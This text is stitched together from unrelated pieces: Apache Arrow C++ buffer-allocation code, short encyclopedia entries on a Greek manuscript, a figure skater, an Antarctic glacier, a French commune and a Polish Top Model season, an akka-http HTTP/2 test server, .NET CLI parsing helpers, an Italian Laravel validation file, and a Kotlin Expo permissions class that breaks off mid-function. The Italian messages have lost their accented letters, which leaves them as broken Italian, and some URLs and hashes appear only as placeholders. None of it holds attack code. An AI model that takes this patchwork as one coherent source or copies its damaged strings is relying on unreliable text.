uint8_t* ptr = mutable_data();
if (ptr && !global_state.is_finalizing()) {
pool_->Free(ptr, capacity_, alignment_);
}
}
Status Reserve(const int64_t capacity) override {
if (capacity < 0) {
return Status::Invalid("Negative buffer capacity: ", capacity);
}
uint8_t* ptr = mutable_data();
if (!ptr || capacity > capacity_) {
int64_t new_capacity = bit_util::RoundUpToMultipleOf64(capacity);
if (ptr) {
RETURN_NOT_OK(pool_->Reallocate(capacity_, new_capacity, alignment_, &ptr));
} else {
RETURN_NOT_OK(pool_->Allocate(new_capacity, alignment_, &ptr));
}
data_ = ptr;
capacity_ = new_capacity;
}
return Status::OK();
}
Status Resize(const int64_t new_size, bool shrink_to_fit = true) override {
if (ARROW_PREDICT_FALSE(new_size < 0)) {
return Status::Invalid("Negative buffer resize: ", new_size);
}
uint8_t* ptr = mutable_data();
if (ptr && shrink_to_fit && new_size <= size_) {
// Buffer is non-null and is not growing, so shrink to the requested size without
// excess space.
int64_t new_capacity = bit_util::RoundUpToMultipleOf64(new_size);
if (capacity_ != new_capacity) {
// Buffer hasn't got yet the requested size.
RETURN_NOT_OK(pool_->Reallocate(capacity_, new_capacity, alignment_, &ptr));
data_ = ptr;
capacity_ = new_capacity;
}
} else {
RETURN_NOT_OK(Reserve(new_size));
}
size_ = new_size;
return Status::OK();
}
static std::shared_ptr<PoolBuffer> MakeShared(MemoryPool* pool, int64_t alignment) {
std::shared_ptr<MemoryManager> mm;
if (pool == nullptr) {
pool = default_memory_pool();
mm = default_cpu_memory_manager();
} else {
mm = CPUDevice::memory_manager(pool);
}
return std::make_shared<PoolBuffer>(std::move(mm), pool, alignment);
}
static std::unique_ptr<PoolBuffer> MakeUnique(MemoryPool* pool, int64_t alignment) {
std::shared_ptr<MemoryManager> mm;
if (pool == nullptr) {
pool = default_memory_pool();
mm = default_cpu_memory_manager();
} else {
mm = CPUDevice::memory_manager(pool);
}
return std::make_unique<PoolBuffer>(std::move(mm), pool, alignment);
}
private:
MemoryPool* pool_;
int64_t alignment_;
};
namespace {
// A utility that does most of the work of the `AllocateBuffer` and
// `AllocateResizableBuffer` methods. The argument `buffer` should be a smart pointer to
// a PoolBuffer.
template <typename BufferPtr, typename PoolBufferPtr>
inline Result<BufferPtr> ResizePoolBuffer(PoolBufferPtr&& buffer, const int64_t size) {
RETURN_NOT_OK(buffer->Resize(size));
buffer->ZeroPadding();
return std::move(buffer);
}
} // namespace
Result<std::unique_ptr<Buffer>> AllocateBuffer(const int64_t size, MemoryPool* pool) {
return AllocateBuffer(size, kDefaultBufferAlignment, pool);
}
Result<std::unique_ptr<Buffer>> AllocateBuffer(const int64_t size,
const int64_t alignment,
MemoryPool* pool) {
return ResizePoolBuffer<std::unique_ptr<Buffer>>(
PoolBuffer::MakeUnique(pool, alignment), size);
}
Result<std::unique_ptr<ResizableBuffer>> AllocateResizableBuffer(const int64_t size,
MemoryPool* pool) {
return AllocateResizableBuffer(size, kDefaultBufferAlignment, pool);
}
Result<std::unique_ptr<ResizableBuffer>> AllocateResizableBuffer(const int64_t size,
const int64_t alignment,
MemoryPool* pool) {
return ResizePoolBuffer<std::unique_ptr<ResizableBuffer>>(
PoolBuffer::MakeUnique(pool, alignment), size);
}
} // namespace arrow
```
|
Minuscule 223 (in the Gregory-Aland numbering), α 263 (Von Soden numbering), is a Greek minuscule manuscript of the New Testament, on parchment. Palaeographically it has been assigned to the 14th-century. Formerly it was labeled by 223a and 277p.
Scrivener labelled it by 220a and 264p.
Description
The codex contains the text of the Acts, Pauline, and Catholic epistles on 376 parchment leaves (size ), with some lacunae (first leaves in 2 Corinthians with 1:1-3, Ephesians with 1:1-4, and Hebrews with 1:1-6). The text is written in one column per page, 22-23 lines per page, on fine vellum with broad margins. Titles in gold, initial letters ornamented, brilliantly illuminated.
The text is divided according to the (chapters), whose numbers are given at the margin, and the (titles of chapters) at the top of the pages.
It contains double prolegomena, Journeys and death of Paul, tables of the (to the Acts), lectionary markings at the margin, liturgical books with hagiographies (Synaxarion, Menologion), and subscriptions at the end of each biblical book. The illuminations are given before each book.
Text
The Greek text of the codex is a representative of the Byzantine text-type. Aland placed it in Category V.
History
The manuscript was written by Antonius, a monk. According to the colophon the manuscript was written by Antonios of Malaka in 1244. Dating of the manuscript is problematic, possibly the colophon was not inserted by original scribe. It was examined by Scrivener and Gregory (1883).
Formerly it was labeled by 223a and 277p. In 1908 C. R. Gregory gave number 223 for it.
It is currently housed at the University of Michigan Library (Ms. 34), at Ann Arbor, Michigan.
See also
List of New Testament minuscules
Biblical manuscript
Textual criticism
Notes
References
Further reading
F. H. A. Scrivener, Adversaria critica sacra (Cambridge, 1893).
K. W. Clark, Eight American Praxapostoloi, (Chicago, 1941).
External links
Minuscule 223 at the Encyclopedia of Textual Criticism
Images from Minuscule 223 at the CSNTM
Greek New Testament minuscules
14th-century biblical manuscripts
|
Nikita Mikhailovich Bochkov (; born 16 May 1991) is a Russian pair skater who currently represents Belarus with partner Maria Paliakova. With former partner Kristina Astakhova, he placed seventh at the 2011 World Junior Championships.
Programs
With Paliakova
With Astakhova
Competitive highlights
With Paliakova for Belarus
With Astakhova for Russia
References
External links
Russian male pair skaters
Belarusian male pair skaters
1991 births
Living people
Figure skaters from Moscow
|
```scala
/*
*/
package akka.http.scaladsl
import java.nio.file.Paths
import akka.actor.ActorSystem
import akka.http.impl.util.ExampleHttpContexts
import akka.http.scaladsl.model.HttpMethods._
import akka.http.scaladsl.model._
import akka.http.scaladsl.unmarshalling.Unmarshal
import akka.stream.scaladsl.FileIO
import com.typesafe.config.Config
import com.typesafe.config.ConfigFactory
import scala.concurrent.Await
import scala.concurrent.ExecutionContext
import scala.concurrent.Future
import scala.concurrent.duration._
import scala.io.StdIn
import scala.util.Random
/**
* App to manually test an HTTP2 server
*/
object Http2ServerTest extends App {
val testConf: Config = ConfigFactory.parseString("""
akka.log-dead-letters = off
akka.stream.materializer.debug.fuzzing-mode = off
akka.actor.serialize-creators = off
akka.actor.serialize-messages = off
#akka.actor.default-dispatcher.throughput = 1000
akka.actor.default-dispatcher.fork-join-executor.parallelism-max=8
akka.http.server.enable-http2 = true
""")
implicit val system: ActorSystem = ActorSystem("ServerTest", testConf)
implicit val ec: ExecutionContext = system.dispatcher
def slowDown[T](millis: Int): T => Future[T] = { t =>
akka.pattern.after(millis.millis, system.scheduler)(Future.successful(t))
}
val syncHandler: HttpRequest => HttpResponse = {
case HttpRequest(GET, Uri.Path("/"), _, _, _) => index
case HttpRequest(GET, Uri.Path("/ping"), _, _, _) => HttpResponse(entity = "PONG!")
case HttpRequest(GET, Uri.Path("/image-page"), _, _, _) => imagePage
case HttpRequest(GET, Uri(_, _, p, _, _), _, _, _) if p.toString.startsWith("/image1") =>
HttpResponse(entity = HttpEntity(MediaTypes.`image/jpeg`, FileIO.fromPath(Paths.get("bigimage.jpg"), 100000).mapAsync(1)(slowDown(1))))
case HttpRequest(GET, Uri(_, _, p, _, _), _, _, _) if p.toString.startsWith("/image2") =>
HttpResponse(entity = HttpEntity(MediaTypes.`image/jpeg`, FileIO.fromPath(Paths.get("bigimage2.jpg"), 150000).mapAsync(1)(slowDown(2))))
case HttpRequest(GET, Uri.Path("/crash"), _, _, _) => sys.error("BOOM!")
case _: HttpRequest => HttpResponse(404, entity = "Unknown resource!")
}
val asyncHandler: HttpRequest => Future[HttpResponse] = {
case HttpRequest(POST, Uri.Path("/upload"), _, entity, _) =>
Unmarshal(entity).to[Multipart.FormData]
.flatMap { formData =>
formData.parts.runFoldAsync("") { (msg, part) =>
part.entity.dataBytes.runFold(0)(_ + _.size)
.map(dataSize => msg + s"${part.name} ${part.filename} $dataSize ${part.entity.contentType} ${part.additionalDispositionParams}\n")
}
}
.map { msg =>
HttpResponse(entity = s"Got upload: $msg")
}
case req => Future.successful(syncHandler(req))
}
try {
val bindings =
for {
httpsBinding <- Http().newServerAt(interface = "localhost", port = 9000).enableHttps(ExampleHttpContexts.exampleServerContext).bind(asyncHandler)
plainBinding <- Http().newServerAt(interface = "localhost", port = 9002).bind(asyncHandler)
} yield (httpsBinding, plainBinding)
Await.result(bindings, 1.second) // throws if binding fails
println(Console.BOLD + "Server (HTTP/1.1 and HTTP/2) online at path_to_url" + Console.RESET)
println(Console.BOLD + "Server (HTTP/1/1 and HTTP/2) online at path_to_url" + Console.RESET)
println("Press RETURN to stop...")
StdIn.readLine()
} finally {
system.terminate()
}
////////////// helpers //////////////
lazy val index = HttpResponse(
entity = HttpEntity(
ContentTypes.`text/html(UTF-8)`,
"""|<html>
| <body>
| <h1>Say hello to <i>akka-http-core</i>!</h1>
| <p>Defined resources:</p>
| <ul>
| <li><a href="/ping">/ping</a></li>
| <li><a href="/image-page">/image-page</a></li>
| <li><a href="/crash">/crash</a></li>
| </ul>
| <div>
| <form method="post" enctype="multipart/form-data" action="upload">
| <label for="file">File</label><input type="file" name="file" multiple="true"/><br/>
| <input type="submit" />
| </form>
| </div>
| </body>
|</html>""".stripMargin))
def imagesBlock = {
def one(): String =
s"""<img width="80" height="60" src="/image1?cachebuster=${Random.nextInt()}"></img>
|<img width="80" height="60" src="/image2?cachebuster=${Random.nextInt()}"></img>
|""".stripMargin
Seq.fill(20)(one()).mkString
}
lazy val imagePage = HttpResponse(
entity = HttpEntity(
ContentTypes.`text/html(UTF-8)`,
s"""|<html>
| <body>
| <h1>Image Page</h1>
| $imagesBlock
| </body>
|</html>""".stripMargin))
}
```
|
Howarth Glacier () is a small glacier flowing south-southeast to Admiralty Sound along the west side of The Watchtower, in southeastern James Ross Island, Antarctica. It was named by the UK Antarctic Place-Names Committee in 1995 after Michael Kingsley Howarth (born 1932), Deputy Keeper of Paleontology at the British Museum (Natural History), 1980–92, and author of the Falkland Islands Dependencies Survey Scientific Report Number 21, Alexander Island.
See also
List of glaciers in the Antarctic
Glaciology
References
Glaciers of James Ross Island
|
```smalltalk
// The .NET Foundation licenses this file to you under the MIT license.
using System.CommandLine;
using System.CommandLine.Parsing;
using System.Diagnostics;
using System.Reflection;
using System.Text.RegularExpressions;
using Microsoft.DotNet.Cli.Utils;
using static Microsoft.DotNet.Cli.Parser;
using CommandResult = System.CommandLine.Parsing.CommandResult;
namespace Microsoft.DotNet.Cli
{
public static class ParseResultExtensions
{
///<summary>
/// Finds the command of the parse result and invokes help for that command.
/// If no command is specified, invokes help for the application.
///<summary>
///<remarks>
/// This is accomplished by finding a set of tokens that should be valid and appending a help token
/// to that list, then re-parsing the list of tokens. This is not ideal - either we should have a direct way
/// of invoking help for a ParseResult, or we should eliminate this custom, ad-hoc help invocation by moving
/// more situations that want to show help into Parsing Errors (which trigger help in the default System.CommandLine pipeline)
/// or custom Invocation Middleware, so we can more easily create our version of a HelpResult type.
///</remarks>
public static void ShowHelp(this ParseResult parseResult)
{
// take from the start of the list until we hit an option/--/unparsed token
// since commands can have arguments, we must take those as well in order to get accurate help
var tokenList = parseResult.Tokens.TakeWhile(token => token.Type == CliTokenType.Argument || token.Type == CliTokenType.Command || token.Type == CliTokenType.Directive).Select(t => t.Value).ToList();
tokenList.Add("-h");
Instance.Parse(tokenList).Invoke();
}
public static void ShowHelpOrErrorIfAppropriate(this ParseResult parseResult)
{
if (parseResult.Errors.Any())
{
var unrecognizedTokenErrors = parseResult.Errors.Where(error =>
{
// Can't really cache this access in a static or something because it implicitly depends on the environment.
var rawResourcePartsForThisLocale = DistinctFormatStringParts(CommandLineValidation.LocalizableStrings.UnrecognizedCommandOrArgument);
return ErrorContainsAllParts(error.Message, rawResourcePartsForThisLocale);
});
if (parseResult.CommandResult.Command.TreatUnmatchedTokensAsErrors ||
parseResult.Errors.Except(unrecognizedTokenErrors).Any())
{
throw new CommandParsingException(
message: string.Join(Environment.NewLine,
parseResult.Errors.Select(e => e.Message)),
parseResult: parseResult);
}
}
///<summary>Splits a .NET format string by the format placeholders (the {N} parts) to get an array of the literal parts, to be used in message-checking</summary>
static string[] DistinctFormatStringParts(string formatString)
{
return Regex.Split(formatString, @"{[0-9]+}"); // match the literal '{', followed by any of 0-9 one or more times, followed by the literal '}'
}
/// <summary>given a string and a series of parts, ensures that all parts are present in the string in sequential order</summary>
static bool ErrorContainsAllParts(ReadOnlySpan<char> error, string[] parts)
{
foreach (var part in parts)
{
var foundIndex = error.IndexOf(part);
if (foundIndex != -1)
{
error = error.Slice(foundIndex + part.Length);
continue;
}
else
{
return false;
}
}
return true;
}
}
public static string RootSubCommandResult(this ParseResult parseResult)
{
return parseResult.RootCommandResult.Children?
.Select(child => GetSymbolResultValue(parseResult, child))
.FirstOrDefault(subcommand => !string.IsNullOrEmpty(subcommand)) ?? string.Empty;
}
public static bool IsDotnetBuiltInCommand(this ParseResult parseResult)
{
return string.IsNullOrEmpty(parseResult.RootSubCommandResult()) ||
GetBuiltInCommand(parseResult.RootSubCommandResult()) != null;
}
public static bool IsTopLevelDotnetCommand(this ParseResult parseResult)
{
return parseResult.CommandResult.Command.Equals(RootCommand) && string.IsNullOrEmpty(parseResult.RootSubCommandResult());
}
public static bool CanBeInvoked(this ParseResult parseResult)
{
return GetBuiltInCommand(parseResult.RootSubCommandResult()) != null ||
parseResult.Tokens.Any(token => token.Type == CliTokenType.Directive) ||
(parseResult.IsTopLevelDotnetCommand() && string.IsNullOrEmpty(parseResult.GetValue(DotnetSubCommand)));
}
public static int HandleMissingCommand(this ParseResult parseResult)
{
Reporter.Error.WriteLine(Tools.CommonLocalizableStrings.RequiredCommandNotPassed.Red());
parseResult.ShowHelp();
return 1;
}
public static string[] GetArguments(this ParseResult parseResult)
{
return parseResult.Tokens.Select(t => t.Value)
.ToArray()
.GetSubArguments();
}
public static string[] GetSubArguments(this string[] args)
{
var subargs = args.ToList();
// Don't remove any arguments that are being passed to the app in dotnet run
var dashDashIndex = subargs.IndexOf("--");
var runArgs = dashDashIndex > -1 ? subargs.GetRange(dashDashIndex, subargs.Count() - dashDashIndex) : new List<string>(0);
subargs = dashDashIndex > -1 ? subargs.GetRange(0, dashDashIndex) : subargs;
return subargs
.SkipWhile(arg => DiagOption.Name.Equals(arg) || DiagOption.Aliases.Contains(arg) || arg.Equals("dotnet"))
.Skip(1) // remove top level command (ex build or publish)
.Concat(runArgs)
.ToArray();
}
public static bool DiagOptionPrecedesSubcommand(this string[] args, string subCommand)
{
if (string.IsNullOrEmpty(subCommand))
{
return true;
}
for (var i = 0; i < args.Length; i++)
{
if (args[i].Equals(subCommand))
{
return false;
}
else if (DiagOption.Name.Equals(args) || DiagOption.Aliases.Contains(args[i]))
{
return true;
}
}
return false;
}
private static string GetSymbolResultValue(ParseResult parseResult, SymbolResult symbolResult) => symbolResult switch
{
CommandResult commandResult => commandResult.Command.Name,
ArgumentResult argResult => argResult.Tokens.FirstOrDefault()?.Value ?? string.Empty,
_ => parseResult.GetResult(DotnetSubCommand)?.GetValueOrDefault<string>()
};
public static bool BothArchAndOsOptionsSpecified(this ParseResult parseResult) =>
(parseResult.HasOption(CommonOptions.ArchitectureOption) ||
parseResult.HasOption(CommonOptions.LongFormArchitectureOption)) &&
parseResult.HasOption(CommonOptions.OperatingSystemOption);
internal static string GetCommandLineRuntimeIdentifier(this ParseResult parseResult)
{
return parseResult.HasOption(RunCommandParser.RuntimeOption) ?
parseResult.GetValue(RunCommandParser.RuntimeOption) :
parseResult.HasOption(CommonOptions.OperatingSystemOption) ||
parseResult.HasOption(CommonOptions.ArchitectureOption) ||
parseResult.HasOption(CommonOptions.LongFormArchitectureOption) ?
CommonOptions.ResolveRidShorthandOptionsToRuntimeIdentifier(
parseResult.GetValue(CommonOptions.OperatingSystemOption),
CommonOptions.ArchOptionValue(parseResult)) :
null;
}
public static bool UsingRunCommandShorthandProjectOption(this ParseResult parseResult)
{
if (parseResult.HasOption(RunCommandParser.PropertyOption) && parseResult.GetValue(RunCommandParser.PropertyOption).Any())
{
var projVals = parseResult.GetRunCommandShorthandProjectValues();
if (projVals.Any())
{
if (projVals.Count() != 1 || parseResult.HasOption(RunCommandParser.ProjectOption))
{
throw new GracefulException(Tools.Run.LocalizableStrings.OnlyOneProjectAllowed);
}
return true;
}
}
return false;
}
public static IEnumerable<string> GetRunCommandShorthandProjectValues(this ParseResult parseResult)
{
var properties = GetRunPropertyOptions(parseResult, true);
return properties.Where(property => !property.Contains("="));
}
public static IEnumerable<string> GetRunCommandPropertyValues(this ParseResult parseResult)
{
var shorthandProperties = GetRunPropertyOptions(parseResult, true)
.Where(property => property.Contains("="));
var longhandProperties = GetRunPropertyOptions(parseResult, false);
return longhandProperties.Concat(shorthandProperties);
}
private static IEnumerable<string> GetRunPropertyOptions(ParseResult parseResult, bool shorthand)
{
var optionString = shorthand ? "-p" : "--property";
var propertyOptions = parseResult.CommandResult.Children.Where(c => GetOptionTokenOrDefault(c)?.Value.Equals(optionString) ?? false);
var propertyValues = propertyOptions.SelectMany(o => o.Tokens.Select(t => t.Value)).ToArray();
return propertyValues;
static CliToken GetOptionTokenOrDefault(SymbolResult symbolResult)
{
if (symbolResult is not OptionResult optionResult)
{
return null;
}
return optionResult.IdentifierToken ?? new CliToken($"--{optionResult.Option.Name}", CliTokenType.Option, optionResult.Option);
}
}
[Conditional("DEBUG")]
public static void HandleDebugSwitch(this ParseResult parseResult)
{
if (parseResult.HasOption(CommonOptions.DebugOption))
{
DebugHelper.WaitForDebugger();
}
}
/// <summary>
/// Only returns the value for this option if the option is present and there are no parse errors for that option.
/// This allows cross-cutting code like the telemetry filters to safely get the value without throwing on null-ref errors.
/// If you are inside a command handler or 'normal' System.CommandLine code then you don't need this - the parse error handling
/// will have covered these cases.
/// </summary>
public static T SafelyGetValueForOption<T>(this ParseResult parseResult, CliOption<T> optionToGet)
{
if (parseResult.GetResult(optionToGet) is OptionResult optionResult &&
!parseResult.Errors.Any(e => e.SymbolResult == optionResult))
{
return optionResult.GetValue(optionToGet);
}
else
{
return default;
}
}
public static bool HasOption(this ParseResult parseResult, CliOption option) => parseResult.GetResult(option) is not null;
}
}
```
|
Les Ormes-sur-Voulzie () is a commune in the Seine-et-Marne department in the Île-de-France region in north-central France.
Demographics
Inhabitants are called Ormois.
See also
Communes of the Seine-et-Marne department
References
External links
1999 Land Use, from IAURIF (Institute for Urban Planning and Development of the Paris-Île-de-France région)
Communes of Seine-et-Marne
|
Top Model, cycle 7 is the seventh cycle of an ongoing reality television series based on Tyra Banks' America's Next Top Model that pits contestants from Poland against each other in a variety of competitions to determine who will win the title of the next Polish Top Model.
Joanna Krupa, who also serves as the lead judge, returned to host the seventh cycle. Other judges included fashion designer Dawid Woliński, fashion show director Kasia Sokołowska and photographer Marcin Tyszka. This is the fourth season of the show to feature male contestants.
Among the prizes for the season are a contract with D'vision Model Management, an appearance on the cover of the Polish issue of Glamour, 100,000 złotys (US$30,000) and a campaign for About You.
The international destinations this cycle were Sölden, Los Angeles, Antananarivo and Hamburg.
Contestants
(Ages stated are at start of contest)
Episodes
Episode 1
Original airdate:
Auditions for the seventh season of Top Model begin, and aspiring hopefuls are chosen for the semi-final round.
Episode 2
Original airdate:
In the semi-finals, the judges begin to eliminate contestants to narrow the number of models who will battle it out for a place in the final fourteen.
Episode 3
Original airdate:
In the third and final casting episode of the season, the judges choose the finalists who will move onto the main competition out of the remaining pool of contestants.
Names in bold represent eliminated semi-finalists
Episode 4
Original airdate:
Challenge winner: Ania Markowska
Immune from elimination: Ania Markowska, Kasia Szklarczyk, Magda Przybielska, Michał Borzuchowski, Oliwia Zasada, Piotr Muszyński & Żaklina Ta Dinh
First call-out: Oliwia Zasada
Bottom three: Franek Strąkowski, Julia Frankowicz & Natalia Gorączka
Eliminated: Julia Frankowicz
Featured photographers: Adam Pluciński, Jacek Kołodziejski
Special guests: Małgorzata Rozenek-Majdan
Guest judge: Robert Biedroń
Episode 5
Original airdate:
Challenge winner: Kasia Szklarczyk
First call-out: Daria Dąbrowska
Bottom three: Franek Strąkowski, Oliwia Zasada & Natalia Gorączka
Eliminated: Natalia Gorączka
Featured photographer: Sonia Szóstak
Special guests: Ewa Grzelakowska-Kostoglu, Maria Konarowska, Michał Mikołajczak
Guest judge: Anja Rubik
Episode 6
Original airdate:
Challenge winners: Magda Przybielska & Hubert Gromadzki
First call-out: Magda Przybielska
Bottom three: Ange-Sophie Reich, Franek Strąkowski & Oliwia Zasada
Eliminated: Ange-Sophie Reich & Franek Strąkowski
Featured photographer: Rafał Makieła
Special guests: Jakob Kosel
Guest judge: Zuzanna Bijoch & Mariusz Przybylski
Episode 7
Original airdate:
Challenge winner: Daria Dąbrowska, Oliwia Zasada & Szymon Reich
Immune from elimination: Daria Dąbrowska & Hubert Gromadzki, Kasia Szklarczyk, Oliwia Zasada & Piotr Muszyński
First call-out: Daria Dąbrowska & Hubert Gromadzki
Bottom three: Ania Markowska, Szymon Reich & Żaklina Ta Dinh
Originally eliminated: Żaklina Ta Dinh
Featured photographer: Piet Truhlar
Special guests: Julia Wieniawa & Paweł Księżopolski
Guest judge: Anna Jurgaś & Sasha Knezevic
Episode 8
Original airdate:
Challenge winner: Kasia Szklarczyk, Hubert Gromadzki & Ania Markowska
Immune from elimination: Kasia Szklarczyk
First call-out: Oliwia Zasada
Bottom three: Piotr Muszyński, Magda Przybielska & Żaklina Ta Dinh
Eliminated: Żaklina Ta Dinh
Featured photographer: Adam Pluciński
Special guests: Michał Baryza, Osi Ugonoh & Daniel Tracz
Guest judge: Marta Dyks
Episode 9
Original airdate:
First challenge winner: Kasia Szklarczyk
Second challenge winner: Oliwia Zasada
First call-out: Daria Dąbrowska
Bottom three: Kasia Szklarczyk, Oliwia Zasada & Piotr Muszyński
Eliminated: Piotr Muszyński
Featured photographer: Łukasz Pęcak
Featured director: Monika Kmita
Special guests: Valentina Lozovskaya, Stefano Sala, Veronique Droulez, Maja Salamon, Pat Boguławski, Karolina Gruszecka, Patryk Bogusławski
Guest judge: Filip Niedenthal
Episode 10
Original airdate:
Challenge winner: Magda Przybielska
First call-out: Ania Markowska
Bottom three: Daria Dąbrowska, Oliwia Zasada & Szymon Reich
Eliminated: Oliwia Zasada & Szymon Reich
Featured photographer: Marcin Tyszka
Special guests: Joanna Przetakiewicz
Guest judge: Joanna Przetakiewicz
Episode 11
Original airdate:
Challenge winner: Kasia Szklarczyk & Michał Borzuchowski
First call-out: Hubert Gromadzki
Bottom three: Ania Markowska, Kasia Szklarczyk & Daria Dąbrowska
Eliminated: Daria Dąbrowska
Featured photographer: Art Brewer
Guest judge: Erik Rosete
Episode 12
Original airdate:
First call-out: Kasia Szklarczyk
Bottom three: Ania Markowska, Magda Przybielska & Michał Borzuchowski
Eliminated: Magda Przybielska & Michał Borzuchowski
Featured photographer: Jack Guy
Guest judge: Walter Mendez & Ryan Patros
Episode 13
Original airdate:
Final three: Ania Markowska, Hubert Gromadzki & Kasia Szklarczyk
Eliminated: Ania Markowska
Final two: Hubert Gromadzki & Kasia Szklarczyk
Poland's Next Top Model: Kasia Szklarczyk
Featured photographer: Gosia Turczyńska, Iza Grzybowska, Magnus Lechner
Guest judge: Anja Rubik
Results
The contestant was immune from elimination
The contestant was eliminated
The contestant was originally eliminated but was saved.
The contestant won the competition
Bottom Two/Three
The contestant was eliminated after their first time in the bottom two
The contestant was eliminated after their second time in the bottom two
The contestant was eliminated after their third time in the bottom two
The contestant was eliminated after their fourth time in the bottom two
The contestant was eliminated in the final judging and placed third.
The contestant was eliminated in the final judging and placed second.
Photo shoot guide
Episode 3 photo shoot: Group shots (semifinals)
Episode 4 photo shoot: 7 Sins of the modern world
Episode 5 photo shoot: Nude in a garden
Episode 6 photo shoot: Posing underwater
Episode 7 photo shoot: Spy agents on the Central Alps
Episode 8 photo shoot: Baroque party madness
Episode 9 motion shoot: Fashion film for Vogue Polska
Episode 10 photo shoots: Posing topless covered in powder; natural beauty portraits
Episode 11 photo shoot: Venice beach editorial
Episode 12 photo shoot: Los Angeles desert couture
Episode 13 photo shoots: Glamour covers, Apart Jewelry campaign, About you
Ratings
References
Top Model (Polish TV series)
2018 in Polish television
|
```php
<?php
return [
/*
|your_sha256_hash----------
| Validation Language Lines
|your_sha256_hash----------
|
| The following language lines contain the default error messages used by
| the validator class. Some of these rules have multiple versions such
| as the size rules. Feel free to tweak each of these messages here.
|
*/
'accepted' => ':attribute deve essere accettata .',
'active_url' => ':attribute non una URL valido.',
'after' => ':attribute deve essere una data dopo :date.',
'alpha' => ':attribute pu contenere solo lettere.',
'alpha_dash' => ':attribute pu contenere solo lettere, numeri e trattini.',
'alpha_num' => ':attribute pu contenere solo lettere e numeri.',
'array' => ':attribute deve essere una matrice.',
'before' => ':attribute deve essere una data anteriore :date.',
'between' => [
'numeric' => ':attribute deve essere compreso tra :min e :max.',
'file' => ':attribute deve essere compreso tra :min e :max kilobyte.',
'string' => ':attribute deve essere compreso tra :min e :max caratteri.',
'array' => ':attribute deve avere tra :min e :max oggetti.',
],
'boolean' => ':attribute attributo deve essere vero o falso.',
'confirmed' => ':attribute attributo non corrisponde.',
'date' => ':attribute non una data valida.',
'date_format' => ':attribute non corrisponde al formato :format.',
'different' => ':attribute e :other devono essere differenti.',
'digits' => ':attribute deve essere di :digits cifre.',
'digits_between' => ':attribute deve essere compreso tra :min e :max cifre.',
'email' => ':attribute deve essere un indirizzo email valido.',
'filled' => ':attribute obbligatorio.',
'exists' => ':attribute selezionato non valido.',
'image' => ':attribute deve essere un\'immagine.',
'in' => ':attribute selezionato non valido.',
'integer' => ':attribute deve essere un numero intero.',
'ip' => ':attribute deve essere un indirizzo IP valido.',
'max' => [
'numeric' => ':attribute pu non essere superiore a :max.',
'file' => ':attribute pu non essere superiore a :max kilobyte.',
'string' => ':attribute pu non essere superiore a :max caratteri.',
'array' => ':attribute non pu avere pi di :max oggetti.',
],
'mimes' => ':attribute deve essere un file di tipo :values',
'min' => [
'numeric' => ':attribute deve essere almeno :min.',
'file' => ':attribute deve essere almeno :min kilobyte.',
'string' => ':attribute deve essere almeno :min caratteri.',
'array' => ':attribute deve avere almeno :min oggetti.',
],
'not_in' => ':attribute selezionato non valido.',
'numeric' => ':attribute deve essere un numero.',
'regex' => 'Il formato :format dell\'attributo non valido.',
'required' => ':attribute obbligatorio.',
'required_if' => ':attribute attributo richiesto quando :other :value.',
'required_with' => ':attribute attributo richiesto quando :values presente.',
'required_with_all' => ':attribute attributo richiesto quando :values presente.',
'required_without' => ':attribute attributo richiesto quando :values non presente.',
'required_without_all' => ':attribute attributo richiesto quando nessuno di: valori presente.',
'same' => ':attribute e :other devono combaciare.',
'size' => [
'numeric' => ':attribute deve essere :size.',
'file' => ':attribute deve essere :size kilobyte di dimensione.',
'string' => ':attribute deve essere :size caratteri di dimensioni.',
'array' => ':attribute deve contenere :items oggetti.',
],
'unique' => ':attribute gi stato preso.',
'url' => 'Il formato di :attribute non valido.',
'timezone' => ':attribute deve essere un orario valido.',
/*
|your_sha256_hash----------
| Custom Validation Language Lines
|your_sha256_hash----------
|
| Here you may specify custom validation messages for attributes using the
| convention "attribute.rule" to name the lines. This makes it quick to
| specify a specific custom language line for a given attribute rule.
|
*/
'custom' => [
'terms_agreed' => [
'required' => 'Per favore accetta i nostri Termini e Condizioni d\'uso.'
]
],
/*
|your_sha256_hash----------
| Custom Validation Attributes
|your_sha256_hash----------
|
| The following language lines are used to swap attribute place-holders
| with something more reader friendly such as E-Mail Address instead
| of "email". This simply helps us make messages a little cleaner.
|
*/
'attributes' => [],
];
```
|
```kotlin
package expo.modules.medialibrary
import android.Manifest
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import androidx.core.content.ContextCompat
import expo.modules.interfaces.permissions.PermissionsResponse
import expo.modules.interfaces.permissions.PermissionsStatus
import expo.modules.kotlin.Promise
import java.lang.ref.WeakReference
class MediaLibraryPermissionPromiseWrapper(
private val granularPermissions: List<GranularPermission>,
private val promise: Promise,
private val contextHolder: WeakReference<Context>
) : Promise {
override fun resolve(value: Any?) {
if (value !is Bundle) {
promise.resolve(value)
return
}
promise.resolve(addOnlySelectedInfoToPermissionsBundle(value, granularPermissions))
}
override fun reject(code: String, message: String?, cause: Throwable?) {
promise.reject(code, message, cause)
}
private fun addOnlySelectedInfoToPermissionsBundle(permissionsBundle: Bundle, granularPermissions: List<GranularPermission>): Bundle {
val context = contextHolder.get() ?: run {
return permissionsBundle
}
val areGranted = permissionsBundle.getBoolean(PermissionsResponse.GRANTED_KEY)
// On Android < 14 we always return `all` or `none`, since it doesn't support limited access
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
val accessPrivileges = if (areGranted) {
AccessPrivileges.ALL
} else {
AccessPrivileges.NONE
}
permissionsBundle.putString(ACCESS_PRIVILEGES_PERMISSION_KEY, accessPrivileges.value)
return permissionsBundle
}
if (areGranted) {
// If the permissions are granted that means that the user selected "allow all" or only audio permissions were requested and granted
permissionsBundle.putString(ACCESS_PRIVILEGES_PERMISSION_KEY, AccessPrivileges.ALL.value)
return permissionsBundle
}
// For photo and video access android will return DENIED status if the user selected "allow only selected"
// we need to check if the user granted partial access to the media library and overwrite the result.
val requiresAudioAccess = granularPermissions.contains(GranularPermission.AUDIO)
val hasAudioAccess = ContextCompat.checkSelfPermission(context, Manifest.permission.READ_MEDIA_AUDIO) == PackageManager.PERMISSION_GRANTED
val hasPartialAccess = ContextCompat.checkSelfPermission(context, Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) == PackageManager.PERMISSION_GRANTED
val hasRequiredAudioAccess = !requiresAudioAccess || hasAudioAccess
val hasRequiredLimitedAccess = hasRequiredAudioAccess && hasPartialAccess
if (hasRequiredLimitedAccess) {
permissionsBundle.putBoolean(PermissionsResponse.GRANTED_KEY, true)
